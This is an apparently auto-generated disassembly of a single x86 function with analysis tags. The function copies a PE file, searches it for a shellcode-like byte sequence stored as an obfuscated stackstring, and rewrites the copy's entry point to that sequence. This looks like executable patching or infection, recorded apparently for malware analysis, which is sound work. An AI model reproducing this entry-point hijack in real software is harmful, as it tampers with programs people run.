Function at 0x481813
Capabilities:
Contain obfuscated stackstrings
Copy file
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ad4a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x17c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x34], 0xb8
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x1d
mov byte [ebp - 0x31], 0x80
mov byte [ebp - 0x30], 0x7c
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x64
mov byte [ebp - 0x2d], 0x6c
mov byte [ebp - 0x2c], 0x6c
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x2a], 0x68
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x70
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x2e
mov byte [ebp - 0x25], 0x68
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x7a
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x54
mov byte [ebp - 0x1f], 0xff
mov byte [ebp - 0x1e], 0xd0
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x48190f
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x540098
push 0x104
lea eax, [ebp - 0x14c]
push eax
call fcn.0040a230
add esp, 0x14
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0042f17a
add esp, 4
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x48190f
jmp 0x4818bc
push 0
lea edx, [ebp - 0x14c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x481932
xor eax, eax
jmp 0x481c38
lea ecx, [ebp - 0x14c]
push ecx
call fcn.0042d8df
add esp, 4
mov dword [ebp - 0x174], eax
mov edx, dword [ebp - 0x174]
mov dword [ebp - 0x160], edx
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x14c]
push eax
call dword [0x54b4dc]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
mov dword [ebp - 0x154], ecx
cmp dword [ebp - 0x154], 0xffffffff
jne 0x481991
xor eax, eax
jmp 0x481c38
mov edx, dword [ebp - 0x160]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], 0
jne 0x4819ca
mov byte [ebp - 4], 1
jmp 0x481bed
push 0
lea edx, [ebp - 0x15c]
push edx
mov eax, dword [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x154]
push edx
call dword [0x54b4c4]
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 1
je 0x481a03
mov byte [ebp - 4], 1
jmp 0x481bed
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x160]
je 0x481a1a
mov byte [ebp - 4], 1
jmp 0x481bed
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x158], ecx
cmp dword [ebp - 0x158], 0
jne 0x481a35
mov byte [ebp - 4], 1
jmp 0x481bed
mov edx, dword [ebp - 0x158]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a4d
je 0x481a50
mov byte [ebp - 4], 1
jmp 0x481bed
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0
jne 0x481a6e
mov byte [ebp - 4], 1
jmp 0x481bed
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x160]
cmp dword [ebp - 0x44], eax
jbe 0x481a85
mov byte [ebp - 4], 1
jmp 0x481bed
mov ecx, dword [ebp - 0x44]
cmp dword [ecx], 0x4550
jne 0x481a9d
mov edx, dword [ebp - 0x44]
xor eax, eax
mov ax, word [edx + 6]
test eax, eax
jne 0x481aa6
mov byte [ebp - 4], 1
jmp 0x481bed
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x28]
push edx
mov eax, dword [ebp - 0x38]
push eax
call fcn.0042f8d5
add esp, 8
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
push 0x17
lea eax, [ebp - 0x34]
push eax
push 0x400
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.00430a2f
add esp, 0x10
mov dword [ebp - 0x188], eax
mov edx, dword [ebp - 0x188]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0
jne 0x481b06
mov byte [ebp - 4], 1
jmp 0x481bed
mov eax, dword [ebp - 0x14]
add eax, 0x1f
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x48], edx
cmp dword [ebp - 0x48], 0x500000
ja 0x481b29
cmp dword [ebp - 0x48], 0x400000
jae 0x481b32
mov byte [ebp - 4], 1
jmp 0x481bed
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
sub ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x44]
mov dword [edx + 0x28], ecx
push 0
push 0
push 0
mov eax, dword [ebp - 0x154]
push eax
call dword [0x54b4e4]
push 0
lea ecx, [ebp - 0x15c]
push ecx
mov edx, dword [ebp - 0x160]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x154]
push ecx
call dword [0x54b4d4]
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0
jne 0x481b8a
mov byte [ebp - 4], 1
jmp 0x481bed
mov edx, dword [ebp - 0x160]
cmp edx, dword [ebp - 0x15c]
je 0x481b9e
mov byte [ebp - 4], 1
jmp 0x481bed
cmp dword [ebp - 0x154], 0xffffffff
je 0x481bbe
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x14c]
push edx
call fcn.0048edaf
add esp, 8
mov dword [ebp - 0x150], 1
jmp 0x481bed
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x154], 0xffffffff
je 0x481c14
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xffffffff
cmp dword [ebp - 0x38], 0
je 0x481c32
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x168]
push edx
call fcn.004aa2c8
add esp, 4
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4